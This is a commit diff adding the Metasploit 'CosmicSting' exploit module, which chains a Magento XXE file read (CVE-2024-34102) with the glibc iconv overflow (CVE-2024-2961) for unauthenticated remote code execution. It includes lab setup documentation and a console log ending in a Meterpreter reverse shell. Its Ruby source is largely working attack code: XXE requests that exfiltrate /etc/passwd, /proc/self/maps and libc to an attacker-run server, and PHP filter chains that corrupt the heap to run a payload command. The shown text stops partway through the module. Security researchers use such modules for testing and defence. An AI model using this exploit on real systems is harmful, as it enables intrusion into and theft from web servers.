Land #19544, Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow iconv() of GLIBC (CVE-2024-2961)
This commit is contained in:
@@ -23,6 +23,7 @@ PATH
|
||||
dnsruby
|
||||
drb
|
||||
ed25519
|
||||
elftools
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
@@ -210,6 +211,8 @@ GEM
|
||||
domain_name (0.6.20240107)
|
||||
drb (2.2.1)
|
||||
ed25519 (1.3.0)
|
||||
elftools (1.2.0)
|
||||
bindata (~> 2)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
## Vulnerable Application
|
||||
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
|
||||
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
|
||||
earlier if the PHP and glibc versions are also vulnerable:
|
||||
- 2.4.7 and earlier
|
||||
- 2.4.6-p5 and earlier
|
||||
- 2.4.5-p7 and earlier
|
||||
- 2.4.4-p8 and earlier
|
||||
|
||||
Vulnerable PHP versions:
|
||||
- From PHP 7.0.0 (2015) to 8.3.7 (2024)
|
||||
|
||||
Vulnerable iconv() function in the GNU C Library:
|
||||
- 2.39 and earlier
|
||||
|
||||
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
|
||||
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target
|
||||
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
|
||||
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
|
||||
of later in the chain.
|
||||
|
||||
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
|
||||
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
|
||||
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.
|
||||
|
||||
### Setup
|
||||
|
||||
The following docker-compose file can be used to test this module. There are a few things that need to be noted:
|
||||
1. The docker-compose file sets magento server's name to `localhost` and in order to exploit the container `rhost` must
|
||||
be set to `localhost` (setting `rhost` to `127.0.0.1` or your local IP address will not work for this docker-compose file)
|
||||
and so given this configuration `msfconsole` must be running on the same host as the container.
|
||||
2. The network settings on my macbook didn't allow me to exploit this locally so I was running the containers and
|
||||
`msfconsole` from an Ubuntu 22.04 VM.
|
||||
|
||||
Dockerfile
|
||||
```
|
||||
FROM docker.io/bitnami/magento:2.4.7-debian-12-r0
|
||||
|
||||
# Install curl
|
||||
RUN apt update && apt install curl -y
|
||||
|
||||
```
|
||||
|
||||
docker-compose.yml
|
||||
```
|
||||
services:
|
||||
mariadb:
|
||||
image: docker.io/bitnami/mariadb:10.6
|
||||
environment:
|
||||
- ALLOW_EMPTY_PASSWORD=yes
|
||||
- MARIADB_USER=bn_magento
|
||||
- MARIADB_DATABASE=bitnami_magento
|
||||
volumes:
|
||||
- 'old_mariadb_data:/bitnami/mariadb'
|
||||
magento:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
ports:
|
||||
- '80:8080'
|
||||
- '443:8443'
|
||||
environment:
|
||||
- MAGENTO_HOST=localhost
|
||||
- MAGENTO_DATABASE_HOST=mariadb
|
||||
- MAGENTO_DATABASE_PORT_NUMBER=3306
|
||||
- MAGENTO_DATABASE_USER=bn_magento
|
||||
- MAGENTO_DATABASE_NAME=bitnami_magento
|
||||
- ELASTICSEARCH_HOST=elasticsearch
|
||||
- ELASTICSEARCH_PORT_NUMBER=9200
|
||||
- ALLOW_EMPTY_PASSWORD=yes
|
||||
volumes:
|
||||
- 'old_magento_data:/bitnami/magento'
|
||||
depends_on:
|
||||
- mariadb
|
||||
- elasticsearch
|
||||
elasticsearch:
|
||||
image: docker.io/bitnami/elasticsearch:7
|
||||
volumes:
|
||||
- 'old_elasticsearch_data:/bitnami/elasticsearch/data'
|
||||
volumes:
|
||||
old_mariadb_data:
|
||||
driver: local
|
||||
old_magento_data:
|
||||
driver: local
|
||||
old_elasticsearch_data:
|
||||
driver: local
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### DOWNLOAD_FILE_TIMEOUT
|
||||
This specifies how long the module should wait to receive a file that was requested by the `download_file` method which
|
||||
exploits the Arbitrary File Read vulnerability CVE-2024-34102.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/magento_xxe_to_glibc_buf_overflow`
|
||||
1. Set the `RHOST`, `SRVHOST` and `LHOST` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter sessions as the `daemon` user.
|
||||
|
||||
## Scenarios
|
||||
### Magento/2.4 (Community) running PHP 8.2.17, GLIBC 2.36-9+deb12u4
|
||||
```
|
||||
msf6 > use magento_xxe_to_glibc_buf_overflow
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 exploit/linux/http/magento_xxe_to_glibc_buf_overflow 2024-07-26 excellent No CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)
|
||||
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/magento_xxe_to_glibc_buf_overflow
|
||||
|
||||
[*] Using exploit/linux/http/magento_xxe_to_glibc_buf_overflow
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set srvhost 172.16.199.130
|
||||
srvhost => 172.16.199.130
|
||||
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set fetch_srvhost 172.16.199.130
|
||||
fetch_srvhost => 172.16.199.130
|
||||
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost
|
||||
rhost => localhost
|
||||
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run
|
||||
[*] Exploit running as background job 57.
|
||||
|
||||
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > [*] Started reverse TCP handler on 172.16.199.130:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using URL: http://172.16.199.130:8080/
|
||||
[*] Server started
|
||||
[+] Exploit precondition 1/3 met: Detected Magento Community edition version 2.4 which is vulnerable.
|
||||
[+] Exploit precondition 2/3 met: PHP appears to be exploitable.
|
||||
[+] Exploit precondition 3/3 met: glibc is version: 2.36
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting to parse libc to extract necessary symbols and addresses
|
||||
[*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps
|
||||
[*] Sending payload...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.80.4
|
||||
[*] Meterpreter session 40 opened (172.16.199.130:4444 -> 192.168.80.4:60416) at 2024-10-10 10:56:06 -0700
|
||||
Interrupt: use the 'exit' command to quit
|
||||
[*] Server stopped.
|
||||
|
||||
msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1
|
||||
[*] Starting interaction with 6...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: daemon
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.25.0.4
|
||||
OS : Debian 12.5 (Linux 6.8.0-45-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -251,6 +251,9 @@ Gem::Specification.new do |spec|
|
||||
# Needed for multiline REPL support for interactive SQL sessions
|
||||
spec.add_runtime_dependency 'reline'
|
||||
|
||||
# Needed to parse sections of ELF files in order to retrieve symbols
|
||||
spec.add_runtime_dependency 'elftools'
|
||||
|
||||
# Standard libraries: https://www.ruby-lang.org/en/news/2023/12/25/ruby-3-3-0-released/
|
||||
%w[
|
||||
abbrev
|
||||
|
||||
@@ -0,0 +1,623 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Retry
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
require 'elftools'
|
||||
|
||||
class ProcSelfMapsError < StandardError; end
|
||||
|
||||
PAD = 20
|
||||
HEAP_SIZE = 2 * 1024 * 1024
|
||||
BUG = '劄'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',
|
||||
'Description' => %q{
|
||||
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
|
||||
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
|
||||
earlier if the PHP and glibc versions are also vulnerable:
|
||||
- 2.4.7 and earlier
|
||||
- 2.4.6-p5 and earlier
|
||||
- 2.4.5-p7 and earlier
|
||||
- 2.4.4-p8 and earlier
|
||||
|
||||
Vulnerable PHP versions:
|
||||
- From PHP 7.0.0 (2015) to 8.3.7 (2024)
|
||||
|
||||
Vulnerable iconv() function in the GNU C Library:
|
||||
- 2.39 and earlier
|
||||
|
||||
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
|
||||
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target
|
||||
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
|
||||
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
|
||||
of later in the chain.
|
||||
|
||||
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
|
||||
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
|
||||
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.
|
||||
},
|
||||
'Author' => [
|
||||
'Sergey Temnikov', # CVE-2024-34102 Discovery
|
||||
'Charles Fol', # CVE-2024-2961 Discovery + RCE PoC
|
||||
'Heyder', # module for CVE-2024-34102
|
||||
'jheysel-r7' # module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],
|
||||
[ 'URL', 'https://sansec.io/research/cosmicsting'],
|
||||
[ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],
|
||||
[ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on
|
||||
[ 'CVE', '2024-2961'],
|
||||
[ 'CVE', '2024-34102']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux unix],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd
|
||||
# Tested with cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
|
||||
OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check_magento
|
||||
etc_password = download_file('/etc/passwd')
|
||||
vprint_status('Attempting to download /etc/passwd')
|
||||
if etc_password.nil?
|
||||
CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')
|
||||
else
|
||||
CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')
|
||||
end
|
||||
end
|
||||
|
||||
def check_php_rce_requirements
|
||||
text = Rex::Text.rand_text_alpha(50)
|
||||
base64 = Rex::Text.encode_base64(text)
|
||||
path1 = "data:text/plain;base64,#{base64}"
|
||||
|
||||
result1 = download_file(path1)
|
||||
if result1 == text
|
||||
vprint_good('The data wrapper is working')
|
||||
else
|
||||
return CheckCode::Safe('The data:// wrapper does not work')
|
||||
end
|
||||
|
||||
text = Rex::Text.rand_text_alpha(50)
|
||||
base64 = Rex::Text.encode_base64(text)
|
||||
path2 = "php://filter//resource=data:text/plain;base64,#{base64}"
|
||||
result2 = download_file(path2)
|
||||
|
||||
if result2 == text
|
||||
vprint_good('The filter wrapper is working')
|
||||
else
|
||||
return CheckCode::Safe('The php://filter/ wrapper does not work')
|
||||
end
|
||||
|
||||
text = Rex::Text.rand_text_alpha(50)
|
||||
compressed_text = compress(text)
|
||||
base64 = Base64.encode64(compressed_text).gsub("\n", '')
|
||||
|
||||
path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"
|
||||
result3 = download_file(path)
|
||||
if result3 == text
|
||||
vprint_good('The zlib extension is enabled')
|
||||
else
|
||||
CheckCode::Safe('The zlib extension is not enabled')
|
||||
end
|
||||
CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')
|
||||
end
|
||||
|
||||
def check_libc_version
|
||||
begin
|
||||
@libc_binary = get_libc
|
||||
rescue ProcSelfMapsError => e
|
||||
return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
|
||||
end
|
||||
|
||||
return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary
|
||||
|
||||
# A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."
|
||||
printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)
|
||||
|
||||
libc_version = nil
|
||||
|
||||
printable_strings.each do |string|
|
||||
if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/
|
||||
libc_version = Rex::Version.new(Regexp.last_match(1))
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Unknown('Unable to determine the version of libc') unless libc_version
|
||||
|
||||
if libc_version > Rex::Version.new('2.39')
|
||||
CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")
|
||||
end
|
||||
|
||||
CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")
|
||||
end
|
||||
|
||||
def check
|
||||
setup_module
|
||||
print_status('module setup')
|
||||
magento_checkcode = check_magento
|
||||
return magento_checkcode unless magento_checkcode.code == 'vulnerable'
|
||||
|
||||
print_good(magento_checkcode.reason)
|
||||
|
||||
php_checkcode = check_php_rce_requirements
|
||||
return php_checkcode unless php_checkcode.code == 'appears'
|
||||
|
||||
print_good(php_checkcode.reason)
|
||||
|
||||
libc_version_checkcode = check_libc_version
|
||||
return libc_version_checkcode unless libc_version_checkcode.code == 'appears'
|
||||
|
||||
print_good(libc_version_checkcode.reason)
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def download_file(file)
|
||||
@filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"
|
||||
@target_file = file
|
||||
@file_data = nil
|
||||
|
||||
send_path(@filter_path)
|
||||
retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do
|
||||
break if @file_data
|
||||
end
|
||||
@file_data
|
||||
end
|
||||
|
||||
def send_path(path)
|
||||
@filter_path = Rex::Text.encode_base64(path)
|
||||
|
||||
vprint_status('Sending XXE request')
|
||||
vprint_status("Filter path being sent: #{@filter_path}")
|
||||
|
||||
system_entity = Rex::Text.rand_text_alpha_lower(4..8)
|
||||
|
||||
xml = "<?xml version='1.0' ?>"
|
||||
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
|
||||
xml += '['
|
||||
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
|
||||
xml += " <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param}; "
|
||||
xml += ']'
|
||||
xml += "> <r>&#{@xxe_exfil};</r>"
|
||||
|
||||
json = {
|
||||
address: {
|
||||
totalsReader: {
|
||||
collectorList: {
|
||||
totalCollector: {
|
||||
sourceData: {
|
||||
data: xml,
|
||||
options: 524290
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),
|
||||
'ctype' => 'application/json',
|
||||
'data' => JSON.generate(json)
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def find_main_heap(regions)
|
||||
# Any anonymous RW region with a size greater than the base heap size is a candidate.
|
||||
# The heap is at the bottom of the region.
|
||||
heaps = regions.reverse.each_with_object([]) do |region, arr|
|
||||
next unless region[:permissions] == 'rw-p' &&
|
||||
region[:stop] - region[:start] >= HEAP_SIZE &&
|
||||
(region[:stop] & (HEAP_SIZE - 1)).zero? &&
|
||||
['', '[anon:zend_alloc]'].include?(region[:path])
|
||||
|
||||
arr << (region[:stop] - HEAP_SIZE + 0x40)
|
||||
end
|
||||
|
||||
if heaps.empty?
|
||||
raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"
|
||||
end
|
||||
|
||||
first = heaps[0]
|
||||
|
||||
if heaps.size > 1
|
||||
heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')
|
||||
vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")
|
||||
else
|
||||
vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")
|
||||
end
|
||||
|
||||
vprint_good('Successfully extracted the location in memory of the PHP heap')
|
||||
first
|
||||
end
|
||||
|
||||
def get_libc_region(regions, *names)
|
||||
libc_region = regions.find do |region|
|
||||
names.any? { |name| region[:path].include?(name) }
|
||||
end
|
||||
|
||||
unless libc_region
|
||||
raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'
|
||||
end
|
||||
|
||||
vprint_good("Successfully located the libc region in memory: #{libc_region}")
|
||||
libc_region
|
||||
end
|
||||
|
||||
def get_libc
|
||||
@regions ||= get_regions
|
||||
@info['heaps'] = find_main_heap(@regions)
|
||||
@libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')
|
||||
download_file(@libc_region[:path])
|
||||
end
|
||||
|
||||
def get_symbols_and_addresses
|
||||
begin
|
||||
@libc_binary ||= get_libc
|
||||
rescue ProcSelfMapsError => e
|
||||
fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary
|
||||
|
||||
# ELFFile expects a file, instead of writing it to disk use StringIO
|
||||
libc_binary_file = StringIO.new(@libc_binary)
|
||||
elf = ELFTools::ELFFile.new(libc_binary_file)
|
||||
symtab_section = elf.section_by_name('.dynsym')
|
||||
symbols = symtab_section.symbols
|
||||
|
||||
@info['__libc_malloc'] = nil
|
||||
@info['__libc_system'] = nil
|
||||
@info['__libc_realloc'] = nil
|
||||
|
||||
symbols.each do |symbol|
|
||||
if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name
|
||||
@info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]
|
||||
end
|
||||
end
|
||||
|
||||
fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']
|
||||
vprint_status("__libc_malloc: #{@info['__libc_malloc']}")
|
||||
vprint_status("__libc_system: #{@info['__libc_system']}")
|
||||
vprint_status("__libc_realloc: #{@info['__libc_realloc']}")
|
||||
end
|
||||
|
||||
def get_regions
|
||||
# Obtains the memory regions of the PHP process by querying /proc/self/maps.
|
||||
maps = download_file('/proc/self/maps')
|
||||
raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?
|
||||
|
||||
maps = maps.force_encoding('UTF-8')
|
||||
pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/
|
||||
regions = []
|
||||
|
||||
# Example lines from: /proc/self/maps
|
||||
# 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc]
|
||||
# 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 /opt/bitnami/apache/modules/mod_mime.so
|
||||
maps.each_line do |region|
|
||||
if (match = pattern.match(region))
|
||||
start_addr = match[1].to_i(16)
|
||||
stop_addr = match[2].to_i(16)
|
||||
permissions = match[3]
|
||||
path = match[4]
|
||||
|
||||
if path.include?('/') || path.include?('[')
|
||||
path = path.split(' ', 4).last
|
||||
else
|
||||
path = ''
|
||||
end
|
||||
|
||||
current = {
|
||||
start: start_addr,
|
||||
stop: stop_addr,
|
||||
permissions: permissions,
|
||||
path: path
|
||||
}
|
||||
|
||||
regions << current
|
||||
else
|
||||
raise ProcSelfMapsError, '/proc/self/maps is unparsable'
|
||||
end
|
||||
end
|
||||
vprint_good('Successfully downloaded /proc/self/maps and parsed regions')
|
||||
regions
|
||||
end
|
||||
|
||||
def compress(data)
|
||||
# Compress the data and remove the 2-byte header and 4-byte checksum
|
||||
compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)
|
||||
compressed_data[2..-5]
|
||||
end
|
||||
|
||||
def compressed_bucket(data)
|
||||
# Returns a chunk of size 0x8000 that, when dechunked, returns the data.
|
||||
chunked_chunk(data, 0x8000)
|
||||
end
|
||||
|
||||
def qpe(data)
|
||||
# Emulates quoted-printable-encode.
|
||||
data.bytes.map { |x| sprintf('=%02X', x) }.join
|
||||
end
|
||||
|
||||
def ptr_bucket(*ptrs, size: nil)
|
||||
# Raise an error if size is specified and doesn't match the expected length
|
||||
if size && ptrs.length * 8 != size
|
||||
fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')
|
||||
end
|
||||
|
||||
bucket = ptrs.map { |ptr| p64(ptr) }.join
|
||||
bucket = qpe(bucket)
|
||||
bucket = chunked_chunk(bucket)
|
||||
bucket = chunked_chunk(bucket)
|
||||
bucket = chunked_chunk(bucket)
|
||||
bucket = compressed_bucket(bucket)
|
||||
|
||||
bucket
|
||||
end
|
||||
|
||||
def p64(value)
|
||||
[value].pack('Q') # Pack as 64-bit little-endian
|
||||
end
|
||||
|
||||
def chunked_chunk(data, size = nil)
|
||||
if size.nil?
|
||||
size = data.bytesize + 8
|
||||
end
|
||||
keep = data.bytesize + 2 # for "\n\n"
|
||||
hex_size = data.bytesize.to_s(16)
|
||||
padded_hex_size = hex_size.rjust(size - keep, '0')
|
||||
"#{padded_hex_size}\n#{data}\n".b
|
||||
end
|
||||
|
||||
def build_exploit_path
|
||||
addr_free_slot = @info['heaps'] + 0x20
|
||||
addr_custom_heap = @info['heaps'] + 0x0168
|
||||
addr_fake_bin = addr_free_slot - 0x10
|
||||
|
||||
cs = 0x100
|
||||
|
||||
# Pad needs to stay at size 0x100 at every step
|
||||
pad_size = cs - 0x18
|
||||
pad = "\x00" * pad_size
|
||||
3.times { pad = chunked_chunk(pad, pad.length + 6) }
|
||||
pad = compressed_bucket(pad)
|
||||
|
||||
step1_size = 1
|
||||
step1 = "\x00" * step1_size
|
||||
step1 = chunked_chunk(step1)
|
||||
step1 = chunked_chunk(step1)
|
||||
step1 = chunked_chunk(step1, cs)
|
||||
step1 = compressed_bucket(step1)
|
||||
|
||||
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
|
||||
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
|
||||
|
||||
step2_size = 0x48
|
||||
step2 = "\x00" * (step2_size + 8)
|
||||
step2 = chunked_chunk(step2, cs)
|
||||
step2 = chunked_chunk(step2)
|
||||
step2 = compressed_bucket(step2)
|
||||
|
||||
step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)
|
||||
step2_write_ptr = chunked_chunk(step2_write_ptr, cs)
|
||||
step2_write_ptr = chunked_chunk(step2_write_ptr)
|
||||
step2_write_ptr = compressed_bucket(step2_write_ptr)
|
||||
|
||||
step3_size = cs
|
||||
|
||||
step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes
|
||||
step3_overflow = chunked_chunk(step3_overflow)
|
||||
step3_overflow = chunked_chunk(step3_overflow)
|
||||
step3_overflow = chunked_chunk(step3_overflow)
|
||||
step3_overflow = compressed_bucket(step3_overflow)
|
||||
|
||||
step4_size = cs
|
||||
step4 = '=00' + "\x00" * (step4_size - 1)
|
||||
3.times { step4 = chunked_chunk(step4) }
|
||||
step4 = compressed_bucket(step4)
|
||||
|
||||
step4_pwn = ptr_bucket(
|
||||
0x200000,
|
||||
0,
|
||||
# free_slot
|
||||
0,
|
||||
0,
|
||||
addr_custom_heap, # 0x18
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
@info['heaps'], # 0x140
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
size: cs
|
||||
)
|
||||
|
||||
step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)
|
||||
step4_use_custom_heap_size = 0x140
|
||||
|
||||
# Fetch payloads run the payload in the background and results in multiple sessions being returned.
|
||||
# If we prevent the payload from running in the background and kill the parent process after the payload completes
|
||||
# running successfully we ensure only one session gets returned and improves the stability allowing the exploit to
|
||||
# be run consecutively without issue.
|
||||
if payload.encoded.ends_with?(' &')
|
||||
command = "#{payload.encoded}& kill -9 $PPID"
|
||||
else
|
||||
command = "#{payload.encoded} && kill -9 $PPID"
|
||||
end
|
||||
|
||||
command = (command + "\x00").b
|
||||
command = command.ljust(step4_use_custom_heap_size, "\x00".b)
|
||||
|
||||
vprint_status("COMMAND: #{command}")
|
||||
|
||||
step4_use_custom_heap = command
|
||||
step4_use_custom_heap = qpe(step4_use_custom_heap)
|
||||
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
|
||||
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
|
||||
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
|
||||
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
|
||||
|
||||
pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))
|
||||
|
||||
resource = compress(compress(pages))
|
||||
resource = Base64.encode64(resource.b)
|
||||
resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"
|
||||
|
||||
filters = [
|
||||
# Create buckets
|
||||
'zlib.inflate',
|
||||
'zlib.inflate',
|
||||
# Step 0: Setup heap
|
||||
'dechunk',
|
||||
'convert.iconv.latin1.latin1',
|
||||
# Step 1: Reverse FL order
|
||||
'dechunk',
|
||||
'convert.iconv.latin1.latin1',
|
||||
# Step 2: Put fake pointer and make FL order back to normal
|
||||
'dechunk',
|
||||
'convert.iconv.latin1.latin1',
|
||||
# Step 3: Trigger overflow
|
||||
'dechunk',
|
||||
'convert.iconv.UTF-8.ISO-2022-CN-EXT',
|
||||
# Step 4: Allocate at arbitrary address and change zend_mm_heap
|
||||
'convert.quoted-printable-decode',
|
||||
'convert.iconv.latin1.latin1',
|
||||
]
|
||||
|
||||
filters_string = filters.join('/')
|
||||
|
||||
"php://filter/#{filters_string}/resource=#{resource}"
|
||||
end
|
||||
|
||||
def setup_module
|
||||
@url_file = Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@url_data = Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@xxe_param = Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@info = Hash.new
|
||||
@module_setup_complete = true
|
||||
|
||||
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
|
||||
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
|
||||
end
|
||||
|
||||
start_service({
|
||||
'Uri' => {
|
||||
'Proc' => proc do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end,
|
||||
'Path' => '/'
|
||||
},
|
||||
'ssl' => false
|
||||
})
|
||||
